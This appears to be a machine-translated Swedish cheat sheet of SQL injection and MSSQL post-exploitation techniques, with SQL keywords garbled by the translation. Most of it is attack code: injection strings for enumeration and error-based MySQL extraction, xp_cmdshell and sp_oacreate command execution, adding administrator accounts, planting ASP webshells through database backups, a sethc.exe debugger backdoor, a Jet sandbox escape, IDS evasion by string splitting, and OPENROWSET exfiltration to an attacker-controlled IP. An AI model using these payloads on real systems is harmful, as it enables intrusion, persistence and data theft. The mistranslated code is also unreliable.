; infoga i temp(id) exec master.dbo.xp_blank>_cmdshell skriv c:\web\index.asp; – Visa en fil

Innehåll
; infoga i temp(id) exec master.dbo.xp_blank>_cmdshell dir: C:\; –
; infoga i temp(id) exec master.dbo.xp_blank>_cmdshell dir: c:\ *.asp /s/a; –
; insert into temp(id) exec master.dbo.xp_blank>_cmdshell cscrip{filter}t C:\Inetpub\Adminscrip{filter}ts

\adsutil.vbs enum w3svc
; infoga i temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\; – (xp_blank>_dirtree Tillämplig befogenhet

OFFENTLIGT)
Skriv till tabellen:
sats 1: och 1=(Välj IS_blank>_SRVROLEMEMBER(sysadmin)); –
Sats 2: och 1=(Välj IS_blank>_SRVROLEMEMBER(serveradmin)); –
Sats 3: och 1=(Välj IS_blank>_SRVROLEMEMBER(setupadmin)); –
Uttalande 4: och 1=(Välj IS_blank>_SRVROLEMEMBER(säkerhetsadministratör)); –
Uttalande 5: och 1=(Välj IS_blank>_SRVROLEMEMBER(säkerhetsadmin)); –
Sats 6: och 1=(Välj IS_blank>_SRVROLEMEMBER(diskadmin)); –
Uttalande 7: och 1=(Välj IS_blank>_SRVROLEMEMBER(bulkadmin)); –
Statement 8: och 1=(Välj IS_blank>_SRVROLEMEMBER(bulkadmin)); –
Påstående 9: och 1=(Välj IS_blank>_MEMBER(db_blank>_owner)); –

Skriv vägen till tabellen:
; skapa tabell-direktorat(Paths Varchar(100), ID int)–
; infoga DIRS exec master.dbo.xp_blank>_dirtree c:\–
och 0<> (välj topp 1 vägar från dirs)–
och 0<>(välj topp 1-vägar från di:er där vägar inte är in(@Inetpub))–
; skapa tabell dirs1(paths varchar(100), id int)–
; infoga dirs exec master.dbo.xp_blank>_dirtree e:\web–
och 0<>(välj topp 1-vägar från dirs1)–

Säkerhetskopiera _blank> databas till en webbkatalog: Ladda ner
; deklarera @a systemnamn; set @a=db_blank>_name(); säkerhetskopieringsdatabas @a till disk=e:\web\down.bak; –

och 1=(Välj översta 1 namn från(Välj topp 12 id, namn från sysobjects där xtype=char(85)) T

Ordning efter ID DESC)
och 1=(Välj Top 1 col_blank>_name(object_blank>_id(USER_blank>_LOGIN),1) från sysobjects) Se även

Relaterade tabeller.
och 1=(välj user_blank>_id från USER_blank>_LOGIN)
och 0=(välj användare från USER_blank>_LOGIN där användare>1)

-=- wscrip{filter}t.shell exempel -=-
Deklarera @o int
exec sp_blank>_oacreate wscrip{filter}t.shell, @o ut
exec sp_blank>_oamethod @o, spring, NULL, notepad.exe
; deklarera @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o ut exec sp_blank>_oamethod @o, kör,

NULL, notepad.exe–

Deklarera @o int, @f int, @t int, @ret int
Förklara @line varchar(8000)
exec sp_blank>_oacreate scrip{filtering}ting.filesystemobject, @o out
exec sp_blank>_oamethod @o, opentextfile, @f out, c:\boot.ini, 1
exec @ret = sp_blank>_oamethod @f, readline, @line out
while( @ret = 0 )
Börja
Tryck @line
exec @ret = sp_blank>_oamethod @f, readline, @line out
slut

Deklarera @o int, @f int, @t int, @ret int
exec sp_blank>_oacreate scrip{filtering}ting.filesystemobject, @o out
exec sp_blank>_oamethod @o, createtextfile, @f out, c:\inetpub\wwwroot\foo.asp, 1
exec @ret = sp_blank>_oamethod @f, writeline, NULL,
<% set o = server.createobject("wscrip{filter}t.shell"): o.run( request.querystring("cmd") ) %>

Deklarera @o int, @ret int
exec sp_blank>_oacreate speech.voicetext, @o ut
exec sp_blank>_oamethod @o, register, NULL, foo, bar
exec sp_blank>_oasetproperty @o, speed, 150
exec sp_blank>_oamethod @o, speak, NULL, alla dina uppföljarservrar tillhör oss, 528
vänta på försening 00:00:05

; Deklarera @o int, @ret int exec sp_blank>_oacreate speech.voicetext, @o ut exec

sp_blank>_oamethod @o, register, NULL, foo, bar exec sp_blank>_oasetproperty @o, speed, 150 exec

sp_blank>_oamethod @o, tala, NULL, alla dina uppföljarservrar tillhör oss, 528 vänta på fördröjning

00:00:05–

xp_blank>_dirtree det tillämpliga OFFENTLIGA tillståndet
exec master.dbo.xp_blank>_dirtree c: Den returnerade informationen har två fält: underkatalog, djup. Underkatalogfält

Karaktärstyp, djupfältet är formningsfältet.
skapa tabell-direktorat(paths varchar(100), id int)
Tabellbyggande, tabellen som skapas här är relaterad till ovanstående xp_blank>_dirtree, med lika fält och samma typ.
infoga dirs exec master.dbo.xp_blank>_dirtree c: Så länge vi bygger en tabell och definierar fälten som returneras av lagringsprocessen lika

Utför! För att uppnå effekten av skrivtabeller, steg för steg för att uppnå den information vi vill ha!
Denna felinjektion baseras huvudsakligen på överflöd av Mysql-datatyper
    mysql > SELECT 18446744073709551610 * 2 ;
    FEL 1690 ( 22003 ): BIGINT OSIGNERAT värde är utanför intervallet i '(18446744073709551610 * 2)'

    mysql > SELECT - 1 * 9223372036854775808 ;
    FEL 1690 ( 22003 ): BIGINT UNSIGNED VALUE är utanför intervallet i '(- (1) *

9223372036854775808)'
Sök databasversion:
    mysql> SELECT * 2 (om ((SELECT * från (SELECT (version ()) ) s), 18446744073709551610,

18446744073709551610));
    FEL 1690 (22003): BIGINT OSIGNERAT värde är utanför intervallet i '(2 * om (( Välj ' 5,5 'från

Dual), 18446744073709551610.18446744073709551610))'
Få fältets namn:
    mysql> VÄLJ 2 * om((VÄLJ * från (välj * från test.shop) som '' gräns 1)>(VÄLJ * från

test.shop gräns 1), 18446744073709551610, 18446744073709551610);

    FEL 1690 (22003): BIGINT OSIGNERAT värde är utanför intervallet i '(2 * if(((select

'artikel', 'handlare', 'pris' från (välj 'test'.'shop'.'article' SOM

'artikel', 'test'.'butik'.'handlare' SOM 'handlare', 'test'.'butik'.'pris' SOM 'pris' från

'test'.'butik') gräns 1) > (välj

'test'.'butik'.'artikel','test'.'butik'.'återförsäljare','test'.'butik'.'pris' från 'test'.'butik' gräns

1)),18446744073709551610,18446744073709551610))'
Få fältvärdet:

    mysql> VÄLJ 2 * om((SELECT * från (select * från (mysql.user) LIMIT 1) som '' limit 1) <

(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2),

18446744073709551610, 18446744073709551610);

    FEL 1690 (22003): BIGINT OSIGNERAT värde är utanför intervallet i '(2 * if(((select

'Localhost', 'Root','*', 'Y', Y', Y'

Y', Y', Y', Y', '','','','0', '0', 0', 0', 0', '0,'' från dual limit 1)

<

(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2)),184467440

73709551610,18446744073709551610))'

Observera att denna metod inte fungerar med äldre versioner av MySQL, och du behöver känna till längdgränsen för felmeddelandet, eftersom detta avgör

Du kan få så lång tid du vill:
    mysys / my_error.c

    /* Maxlängd på ett felmeddelande. Det bör hållas synkroniserat med MYSQL_ERRMSG_SIZE. */
    #define ERRMSGSIZE (512)

Om objektet är MariaDB (en förgrening av Mysql) kan du se ett felmeddelande som detta när du provar metoden ovan:

    mysql> SELECT 2*(if((SELECT * från (SELECT (version()))s), 18446744073709551610,

18446744073709551610))
    FEL 1690 (22003): BIGINT OSIGNERAT värde är utanför räckvidden i '(2 * if((select

#),18446744073709551610,18446744073709551610))'

Som lösning kan detta problem lösas på följande sätt:

    mysql> SELECT (I ÄR INTE NULL) - -9223372036854775808 FRÅN (SELECT (version())i)a;
    FEL 1690 (22003): BIGGINT-värdet är utanför intervallet i '(('5.5-MariaDB' är inte null) - -

(9223372036854775808))'
Nu ska vi se om vi kan göra vår vektor lite kortare

//查询数据库版本

    VÄLJ 2*(om((VÄLJ * från (VÄLJ (version()))), 18446744073709551610,

18446744073709551610))
    =
    välj 1E308*if((select*from(select version())x),2,2)

    SELECT (i ÄR INTE NULL) - -9223372036854775808 FRÅN (SELECT (version())i)a
    =
    välj om(x,2,2)*1E308 från(välj version()x)y
//获取表字段名称
    VÄLJ 2 * om((VÄLJ * från (välj * från test.shop) som '' gräns 1)>(VÄLJ * från

test.shop gräns 1), 18446744073709551610, 18446744073709551610)
    =
    select 1E308*if((select*from(select*from mysql.user)''limit 1)>(select*from mysql.user limit

1),2,2)

//获取字段值

    VÄLJ 2 * om((SELECT * från (select * från (mysql.user) LIMIT 1) som '' limit 1) <

(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5 ,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2),

18446744073709551610, 18446744073709551610)
    =
    select 1E308*if((select*from(select*from mysql.user LIMIT 1)''limit 1)<(select*from

mysql.user limit 0),2,2)
//获取指定字段的值
    select 1E308*if((select user|| host|| lösenord|| file_priv från(select*from mysql.user LIMIT

1) en gräns 1),2,2)
//获取字段个数


    select 1E308*if((select*from mysql.user limit 1)>(select 1),2,2)



Några andra deformationer

    SELECT (i ÄR INTE NULL) - -9223372036854775808 FRÅN (SELECT (version())i)a
    select 1E308*if((select user|| host|| lösenord|| file_priv från(select*from mysql.user LIMIT

1) en gräns 1),2,2);
    =>
    välj 2*if((select user|host|password|file_priv from(select*from mysql.user LIMIT 1)en limit

1),1e308,0);
    MySQL> välj (välj * från MySQL.User)=1;
    MySQL> välj (välj * från MySQL.User)in(1);

    FEL 1241 (21000): Operanden ska innehålla 42 kolumner
    välj 2*if((select user|host|password|file_priv from(select*from mysql.user LIMIT 1)en limit

1),1e308,0);
    Välj om((välj användare|| host|| lösenord|| file_priv från(select*from mysql.user LIMIT 1)a

limit 1),2,2)*1E308
    SELECT (i ÄR INTE NULL) - -9223372036854775808 FRÅN (SELECT (version())i)a
    select (x!=0x00)--9223372036854775808 från(VÄLJ version()x)y
    mysql> select!x-~0.FROM(select+user()x)f;
    FEL 1690 (22003): BIGINT OSIGNERAT värde är utanför intervallet i '((not('root@localhost')) - ~

(0))'
3. Bedöm databassystemet
; och (välj antal(*) från sysobjects)>0 mssql
; och (välj antal(*) från msysobjects)>0 åtkomst
4. Injektionsparametern är en karaktär
'och [frågekriterier] och ''='
5. Det finns inga filtrerade parametrar under sökningen
'och [frågekriterier] och '%25'='
6. Gissa databasen
; och (välj Count(*) från [databasnamn])>0
7. Gissa fältet
; och (välj Count (fältnamn) från databasens namn>0
8. Gissa längden på rekordet i fält
; och (välj översta 1 LEN (fältnamn) från databasens namn)>0
9. (1) Gissa ASCII-värdet för fältet (åtkomst)
; och (välj topp 1 ASC(mid(fältnamn, 1,1)) från databasens namn)>0
(2) Gissa ASCII-värdet för fältet (mssql)
; och (välj översta 1 Unicode(substring(fältnamn, 1,1)) från databasens namn)>0
10. Testbehörighetsstruktur (mssql)
; och 1=(välj IS_SRVROLEMEMBER('sysadmin')); --
; och 1=(välj IS_SRVROLEMEMBER('serveradmin')); --
; och 1=(välj IS_SRVROLEMEMBER('setupadmin')); --
; och 1=(välj IS_SRVROLEMEMBER('securityadmin')); --
; och 1=(välj IS_SRVROLEMEMBER('diskadmin')); --
; och 1=(välj IS_SRVROLEMEMBER('bulkadmin')); --
; och 1=(välj IS_MEMBER('db_owner')); --
11. Lägg till ett konto för mssql och systemet
; exec master.dbo.sp_addlogin användarnamn; --
; exec master.dbo.sp_password null, användarnamn, lösenord; --
; exec master.dbo.sp_addsrvrolemember sysadmin-användarnamn; --
; exec master.dbo.xp_cmdshell 'net-användaranvändarelösenord /workstations:* /times:all

/passwordchg:yes /passwordreq:yes /active:yes /add';--
; exec master.dbo.xp_cmdshell 'nätanvändaranvändare, lösenord /add'; --
; exec master.dbo.xp_cmdshell 'Net LocalGroup Administrators användarnamn /Add'; --
12. (1) Gå igenom katalogen
; skapa tabell-direktorat(paths varchar(100), id int)
; infoga dirs exec master.dbo.xp_dirtree 'c:\'
; och (välj topp 1-vägar från dirs)>0
; och (välj topp 1-vägar från dirs där vägar inte är i ('vägar erhållna från föregående steg'))>)
(2) Gå igenom katalogen
; skapa tabelltemperatur (id nvarchar(255), num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); --
; Insert temp exec master.dbo.xp_availablemedia; -- Hämta alla strömdrift
; infoga i temp(id) exec master.dbo.xp_subdirs 'c:\'; -- Få en lista över underkataloger
; infoga i temp(id,num1) exec master.dbo.xp_dirtree 'c:\'; -- Hämta katalogträdsstrukturen för alla underkataloger
; infoga i temp(id) exec master.dbo.xp_cmdshell 'typ c:\web\index.asp'; -- Visa innehållet i filen
13. Lagrade procedurer i mssql
xp_regenumvalues Registerrotnyckel, barnnyckel
; exec xp_regenumvalues 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run' och fler

Recordset-metoden för att returnera alla nyckelvärden
xp_regread Rotnyckel, barnnyckel, nyckel-värdenamn
; exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows

\CurrentVersion','CommonFilesDir' returnerar värdet på formuleringsnyckeln
xp_regwrite Rotnyckel, barnnyckel, värdenamn, värdetyp, värde
Det finns två typer av värdetyper REG_SZ REG_DWORD för teckentyper och för heltal
; exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows

\CurrentVersion', TestvalueName', 'reg_sz', 'hello' skrivs till registret
xp_regdeletevalue Rotnyckel, undernyckel, värdenamn
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows

\CurrentVersion', 'TestvalueName' för att ta bort ett värde
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' delete-tangent,

Inkludera alla värden under den nyckeln
14. mssql-backup skapar ett webshell
Använd modellen
skapa tabell-cmd (ST-bild);
infoga i cmd(str)-värden ('<% Dim oscrip{filter}t %>');
säkerhetskopiera databasmodell till disk='c:\l.asp';
15. MSSQL inbyggda funktioner
; och (välj @@version)>0 för att få Windows-versionsnumret
; och user_name()='dbo' för att avgöra om den anslutna användaren av det aktuella systemet är SA
; och (välj user_name())>0 Exploderade de anslutna användarna av det aktuella systemet
; och (välj db_name())>0 för att få den aktuella anslutna databasen
16. Kort webbshell
Använd modellen
skapa tabell-cmd (ST-bild);
infoga i cmd(str) värden ('<%=server.createobject("wscrip{filter}t.shell").exec("cmd.exe /c

"&request("c")).stdout.readall%>');
säkerhetskopieringsdatabasmodell till disk='g:\wwwtest\l.asp';
När du begär, använd något i stil med detta:
http://ip/l.asp?c=dir
================================================================================================

================================================================================================

================================================================================================

================================================================================================

============================
Få alla databasnamn inklusive systemdatabaser
–VÄLJ namn FRÅN master.dbo.sysdatabases

Hämta alla icke-systemdatabasnamn
–välj [namn] från master.dbo.sysdatabases där DBId>6 Ordna efter [Namn]

Få all information, inklusive databasens filadress
–välj * från master.dbo.sysdatabases där DBId>6 Order By

[Namn]



Denna satsfråga returnerar alla användartabeller

Välj * från sysobjects där xtype='u'


Fråga all information om datatabeller i systemet

Välj * från sysobjects



Titta på maskinens namn
Välj * från sys.servers





Kolumnförteckning
exec master.dbo.xp_subdirs 'c:\'


exec master.dbo.xp_dirtree 'C:',1,1 db_owner
Behörigheter kan upprätthållas


exec master.dbo.xp_dirtree 'c:/Program Files',1,1





Programkod, skriven till webshell


exec master.dbo.xp_subdirs 'd:\web\www.xx.com';
Exec sp_makewebtask 'd:

\web\www.XXXX.com\XX.asp','select"<%execute(request("SB"))%>"






Utför mästaren.. xp_enumgroups  


Traverssystemanvändare


Utför mästaren.. xp_getnetname
Få det aktuella maskinnamnet


--Lista de fasta diskarna på servern, tillsammans med tillgängligt utrymme för varje enhet
   DBO Public


Utför

xp_ntsec_enumdomains


--
Skapa ett konto för att logga in på MSSQL
exec master.dbo.sp_addlogin namn, pass; --






--
Lista serverns domännamn
xp_ntsec_enumdomains //
Maskinnamn //dbo publik


--
Stoppa eller starta en tjänst
xp_servicecontrol 'stopp', 'schema' //schema är tjänstens namn //dbo


--Använd pid

Stoppa ett körande program
xp_terminate_process 123 //123 är pid //dbo


--
Endast underkataloger i en katalog listas
dbo.xp_subdirs 'C:' //dbo


SQL Server
Metoden för att öppna xp_cmdshell år 2005
EXEC sp_configure 'visa avancerade alternativ', 1; OMKONFIGURERA; EXEC

sp_configure 'xp_cmdshell', 1; OMKONFIGURERA;

SQL2005 Öppna 'OPENROWSET'
Stödda metoder:
exec sp_configure 'visa avancerade alternativ', 1; OMKONFIGURERA; exec sp_configure 'Ad Hoc

Distribuerade frågor',1; OMKONFIGURERA;

SQL2005 för att aktivera 'sp_oacreate'-stöd:
exec sp_configure 'visa avancerade alternativ', 1; OMKONFIGURERA; Exekutiv

sp_configure 'Ole Automation Procedures',1; OMKONFIGURERA





Hur man aktiverar xp_cmdshell i SQL Server 2008


-- För att tillåta att avancerade alternativ kan ändras.
EXEC

sp_configure 'visa avancerade alternativ', 1
KÖR
-- För att uppdatera det för närvarande konfigurerade värdet för

Avancerade alternativ.
OMKONFIGURERA
KÖR
-- För att aktivera funktionen.
EXEC sp_configure 'xp_cmdshell', 1
KÖR
-- Till

Uppdatera det nuvarande konfigurerade värdet för denna funktion.
OMKONFIGURERA
KÖR


exec xp_cmdshell 'ipconfig'



Idag ville jag byta SA-inloggningslösenordet för databasservern, men glömde plutsligt, så jag var tvungen att öppna frågeanalysatorn med hjälp av andra konton för att ändra SA-lösenordet

Det är väldigt enkelt:


Genomförande:
sp_password Null, 'teracypwd,'sa'
Sätt SA-lösenordet till "teracypwd"


Efter framgångsrik genomförande

Det finns "Kommando(n) slutförda framgångsrikt."  OKEJ!








I databasbehörigheten, separera metoden för att erhålla MSSQL-databasserverns IP


1. Lokal NC lyssnar på NC -VVLP 80


2.; infoga i

OPENROWSET('SQLOLEDB','uid=sa; pwd=xxx; Nätverk=DBMSSOCN; Adress=din ip, 80; ', 'välj * från

dest_table') välj * från src_table; --


Välj * från OpenRowset

('sqloledb','server=125.110.145.130,6789; uid=sa; pwd=zhu','välj användare; ')





Databasimport och -export

/*不同服务器数据库之间的数据操作*/

--Skapa länkserver
Chef sp_addlinkedserver   

'ITSV', 'SQLOLEDB', 'Remote Server Name eller IP-adress'
exec sp_addlinkedsrvlogin 'ITSV', 'false

',null, 'användarnamn', 'lösenord'

--fråga exempel
välj * från ITSV.databasnamn.dbo.tabellnamn

--importexempel
Välj *

till tabell från ITSV.databasename.dbo.tablename

--Ta bort den länkade servern om den inte längre används i framtiden
exec sp_dropserver 'ITSV',

'droplogins'

--
Anslutning till fjärr-/LAN-data (openrowset/openquery/opendatasource)
--1、öppna radset

--fråga exempel
Välj *

från openrowset( 'SQLOLEDB ', 'sql server name '; 'Användarnamn'; 'lösenord', databasnamn.dbo.tabellnamn)

--
Generera en lokal tabell
välj * i tabellen från openrowset( 'SQLOLEDB ', 'sql server name '; 'Användarnamn'; 'Lösenord', nummer

Enligt databasens namn.dbo. tabellnamn)

--
Importera den lokala tabellen till fjärrtabellen
insert openrowset( 'SQLOLEDB', 'sql server name'; 'Användarnamn'; 'Lösenord', databaser

name.dbo.table name)
Välj *från lokal tabell

--
Uppdatera lokala tabeller
Uppdatering B
set b. kolumn A = a
från openrowset( 'SQLOLEDB ', 'sql server name '; 'Användarnamn'; '

lösenord ', databasnamn .dbo.table name) som en inre join lokal tabell b
på a.kolumn1=b.kolumn1

--openquery
Användning kräver att man skapar en anslutning

--Först, skapa en anslutning för att skapa en länkserver
exec sp_addlinkedserver 'ITSV', ' ',

'SQLOLEDB', 'fjärrservernamn eller IP-adress'
--Fråga
Välj *
FRÅN openquery(ITSV, 'SELECT * FROM data

library.dbo.table name ')
--
Importera den lokala tabellen till fjärrtabellen
insert openquery(ITSV, 'SELECT * FROM database.dbo.table name')
Välj * från lokal

Tabell
--uppdatera lokal tabell
Uppdatering B
set b. kolumn B=a
FRÅN openquery(ITSV, 'SELECT * FROM database.dbo.tablename')

som en  
inre föreningen lokal tabell b på a. kolumn A=b. kolumn A

--3、opendatasource/openrowset
VÄLJ *
FRÅN   

opendatasource( 'SQLOLEDB ', 'Data Source=ip/ServerName; Användar-ID = inloggningsnamn; Lösenord=Lösenord '

).test.dbo.roy_ta
--
Importera den lokala tabellen till fjärrtabellen



Borttagning och återställande av xp_cmdshell


Sätt att återhämta sig xp_cmdshell   
Ta bort den utökade lagrade proceduren xp_cmdshell

Uttalande   
exec sp_dropextendedproc 'xp_cmdshell'   



Återställ SQL-satsen för cmdshell   
exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'   


Exekutiv

master.dbo.add extendedproc 'xp_cmdshell','xplog70.dll'; Välj räkning(*) från

master.dbo.sysobjects där xtype='x' och   
Returresultatet är 1 och det är okej   


Annars måste du ladda upp c:\inetput\web

\xplog70.dll senare   
exec master.dbo.sp_addextendedproc 'xp_cmdshell','c:\inetput\web xplog70.dll\

’; --   



Om du raderar det på följande sätt   
Släppprocedur sp_addextendedproc   
Droppprocedur sp_oacreate   
Exekutiv

sp_dropextendedproc 'xp_cmdshell'   



Du kan återställa den med följande uttalande   
DBCC AddendedProc ("sp_oacreate","odsole70.dll")   
DBCC

addextendedproc ("xp_cmdshell","xplog70.dll")   

På detta sätt kan den återställas direkt, oavsett om sp_addextendedproc finns eller inte






1、
Använd xp_cmdshell:
          exec master.dbo.xp_cmdshell "net user admin admin /add"
          Exekutiv

master.dbo.xp_cmdshell "net localgroup administrators admin /add"

I xp_cmdshell fall, använd sp_oacreate för att följa sp_oamethod:
          Deklarera @object int   
          Exekutiv

sp_oacreate 'wscrip{filter}t.Shell', @object ut         
          Exec sp_oamethod

@object,'Run', NULL,'net user admin admin /add'
          exec sp_oamethod @object, 'Run', NULL, 'net

localgroup Administratörer admin /add'

Notera: regsvr32 /s c:\windows\system32\wshom.ocx
Start wscrip{filter}t.shell
3、
Använd sp_oacreate och FSO
          Deklarera @o int
          Exec sp_oacreate

'scrip{filter}ting.filesystemobject', @o ut
          exec sp_oamethod @o, 'copyfile', null,'c:\windows

\explorer.exe' ,'c:\windows\system32\sethc.exe';
          Deklarera @oo int
          Exekutiv

sp_oacreate 'scrip{filtering}ting.filesystemobject', @oo ut
          Chef sp_oamethod @oo,

'copyfile', null,'c:\windows\system32 sethc.exe\' ,'c:\windows\system32\dllcache\sethc.exe';

Använd xp_regwrite (db_owner, omstart krävs):
          Exec master.dbo.xp_regwrite

'hkey_local_machine',Software\Microsoft\Windows\currentversion\


run','eadd1','reg_sz','net user admin admin /add'
          Exec master.dbo.xp_regwrite

'hkey_local_machine',Software\Microsoft\Windows\currentversion\


run','eadd2','reg_sz','Net lokalgruppsadministratörer admin /add'
5. Använd sp_add_job:
          Exekutiv

master.dbo.xp_servicecontrol 'start', 'SQLSERVERAGENT'
          Använd MSDB Exec sp_delete_job

null,'x'
          exekutiv sp_add_job 'x'
          Exec sp_add_jobstep

Null,'x', Null,'1','CMDEXEC','cmd /c nätanvändaradministratör admin /add'
          Exec sp_add_jobserver

Null, 'x', @@servername exec sp_start_job 'x'















Många SA har lyckats i många maskiner direkt med sandbox-läget, men jag har aldrig övat på det och jag vet inte hur stor framgångsfrekvens är. När förlängningen tas bort, först

Återställ läs- och skrivlagring i registret.
dbcc addendedproc ('xp_regread','xpstar.dll')
dbcc addendedproc

('xp_regwrite', 'xpstar.dll')



Fixade sandlådans skyddade läge
Exec Master.. xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet

\4.0\Engines','SandBoxMode','REG_DWORD',0; --



Se om värdet 'SandBoxMode' har blivit 0.


exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE', MJUKVARA

\Microsoft\Jet\4.0\Engines', 'SandBoxMode'



Slutligen, anropa sandbox-läget
Välj * från OpenRowset('microsoft.jet.oledb.4.0','; databas=C:\WINDOWS

\system32\ias\dnary.mdb','välj shell("cmd.exe /c NET User User Passwd /add")')







Om sandboxskyddsläget inte är "avstängt" rapporteras ett fel:
          Server: Msg 7357, Nivå 16, Tillstånd 2, Rad 1

Misslyckades med att hantera objektet 'select shell("cmd.exe /c net user user passwd /add")'. OLE DB tillhandahåller program

Förordet 'microsoft.jet.oledb.4.0' anger att det inte finns några kolumner i objektet.

OLE DB-felspårning [Icke-gränssnittsfel: OLE DB-leverantör kan inte bearbeta objektet, eftersom objektet

har nocolumnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c net user

användaren passwd /add")']。


2、
Om .mdb inte existerar eller om inmatningsvägen är felaktig
           Server: Msg 7399, Nivå 16, Tillstånd 1, Rad 1

OLE DB provider 'microsoft.jet.oledb.4.0' fel.
            [OLE/DB-leverantör returnerade meddelande:

Filen 'C:\WINDOWS\system32\ias\dnary1.mdb' hittades inte. ]

OLE DB error trace [OLE/DB Provider 'microsoft.jet.oledb.4.0' IDBInitialize::Initialize returned returned

0x80004005: ]。


3. Om det finns fler mellanrum under inmatningsprocessen rapporteras även ett fel. Var särskilt uppmärksam på detta, många söker direkt efter artiklar online

Klistra in det och kör det.
          Server: Msg 7357, Nivå 16, Tillstånd 2, Rad 1
          Misslyckades med att bearbeta objektet 'select

shell("cmd.exe /c NET User User Passwd /add")'。
OLE DB-leverantören 'microsoft.jet.oledb.4.0' anger att det inte finns några kolumner i objektet.

OLE DB-felspårning [Icke-gränssnittsfel:
OLE DB-leverantören kan inte bearbeta objektet, eftersom objektet har

nocolumnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c net user user

passwd /add")']。


4、
Om mdb-behörigheterna och cmd.exe-behörigheterna är felaktiga kommer problemet också att uppstå.
          När MDB-behörigheterna är felaktiga,
           Server: Eliminera

Intresse 7320, nivå 16, delstat 2, rad 1

Han kunde inte svara
OLE DB-leverantören 'Microsoft.Jet.OLEDB.4.0' utför frågan.
           [OLE/DB-leverantör returnerat

message: 未知]
           OLE DB felspårning [OLE/DB-leverantör 'Microsoft.Jet.OLEDB.4.0'

ICommandText::Execute returned 0x80040e14]。


5. Om nätbehörigheten är felaktig finns ingen prompt.

Det sista sättet att höja auktoriteten är att ladda upp systemets ias.mdb och cmd.exe under den aktuella webbkatalogen, net.exe tre filer.

Execute select * från openrowset('microsoft.jet.oledb.4.0','; databas=E:\web\ias.mdb','välj shell

("E:\web\cmd.exe /c E:\web\net.exe user user passwd /add")')
          Lägg till en datoranvändare framgångsrikt.






Delning av cmdshell kringgår IDS         
Deklarera @a sysname-set @a='xp_'+'cmdshell' exec @a 'ipconfig'
Förklara

@a sysname-set @a='xp'+'_cm'+'dshell' exec @a 'dir c:\'





Redigera registerkapning
Exec Master.. xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT

\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows

\system32\cmd.exe på'; --



Fråga länkservern
utvald

srvid,srvstatus,srvname,srvproduct,providername,datasource,locatio{filter}n,schemadate,catalog,srvnetnam

e,isremote,rpc,dataaccess från master.dbo.sysservers
utvald

srvid,srvstatus,srvname,srvproduct,providername,datasource,locatio{filter}n,schemadate,catalog,srvnetnam

e,isremote,rpc,dataaccess från master.dbo.sysservers



Fråga linkserver2
Välj distinkt värdnamn,db_name(dbid),net_address,loginame,program_name från

Mästare.. sysprocesses



Fråga länkservern
och andra inloggade användare
Välj * från [192.168.1.1].master.dbo.syslogins



Fråga LinkServer
Alla databaser
välj * från linkedSrvWeb.master.dbo.sysdatabases



Utför utökad lagring på LinkServer
exec [ip].master.dbo.xp_cmdshell



Fråga alla tabeller på länkservern
Välj * från [ip].master.dbo.sysobjects








Välj * från OpenRowset

('sqloledb','server=IP; uid=användare; pwd=lösenord','välj @@version')


välj * från openquery([LINKSERVER)

namn],'välj @@version')




välj * från openquery(NDOORS,'select IS_SRVROLEMEMBER(''sysadmin'')')




välj * från openquery(GM_SERVER,'select * från sysobjects där xtype = (''U''')')


Välj * från

openquery(NDOORS,'Välj IS_MEMBER(''db_owner'')')




välj * från openquery(toatdeweb,'select

srvname från master.dbo.sysservers')


infoga i opendatasource

('sqloledb','server=222.241.95.12; uid=scd; pwd=A123520; database=hack520').hack520.dbo.zhu select

namn från master.dbo.sysdatabases
skapa databas hack520 Skapa TABELL zhu(namn nvarchar(256)

null); Skapa TABELL J8(id int NULL,name nvarchar(256) null);


Välj * från OpenQuery

(Toatdeweb,'set fmtOnly off exec master.dbo.xp_cmdshell ''net user'')


Exec Master.. xp_dirtree

'c:\',1,1
Utför en frågekatalog


exec links.master.. xp_cmdshell 'ipconfig'


välj * från openquery(toatdeweb,'set

fmtonly off exec master.dbo.xp_cmdshell ''ipconfig /all''')



Koppla MySQL Select * från Mem_DB. UserDB.dbo.AdminList


EXEC MASTER.. XP_dirtree 'c:\',1,1




Exec

master.dbo.xp_cmdshell 'dir'


Välj antal(*) från [indikera]
Fråga hur mycket data som finns i den aktuella tabellen




Välj distinkt värdnamn,db_name(dbid),net_address,loginame,program_name

från mästaren... sysprocesses






Välj * från GameDB01. Server01.dbo.cabal_character_table där namn='

Pig'





När du raderar den står det: Databasen används och kan inte raderas.


Klicka på databasen du vill ta bort för att öppna Händelsevisaren.


Input:


Användning   

Mästare

Sedan matar följande in:
Förklara @d varchar(8000)
Ställ @d= ' '
välj @d=@d+ ' döda   

'+cast(spid som varchar)+char(13)
från mästaren... sysprocesses där dbid=db_id('biblioteksnamn')
exec(@d)
--
Använd kod för att ta bort processen som ansluter till denna databas först












MSSQL driver Oracle via LinkServer






1) Installera Oracle på SQL_SERVER 2005-servern

9i-klient. Anta att installera till C:\ora92i\-katalogen. Om D: är en NTFS-partition måste du ställa in den installerade ORACLE-katalogen som den som används

Prenumeranter har rätt att köra, lägga till och ta bort.


2)
Konfigurera filen C:\ora92i\network\ADMIN\tnsnames.ora. (Följande röda text är ett exempel på en konfiguration)


ORCL=


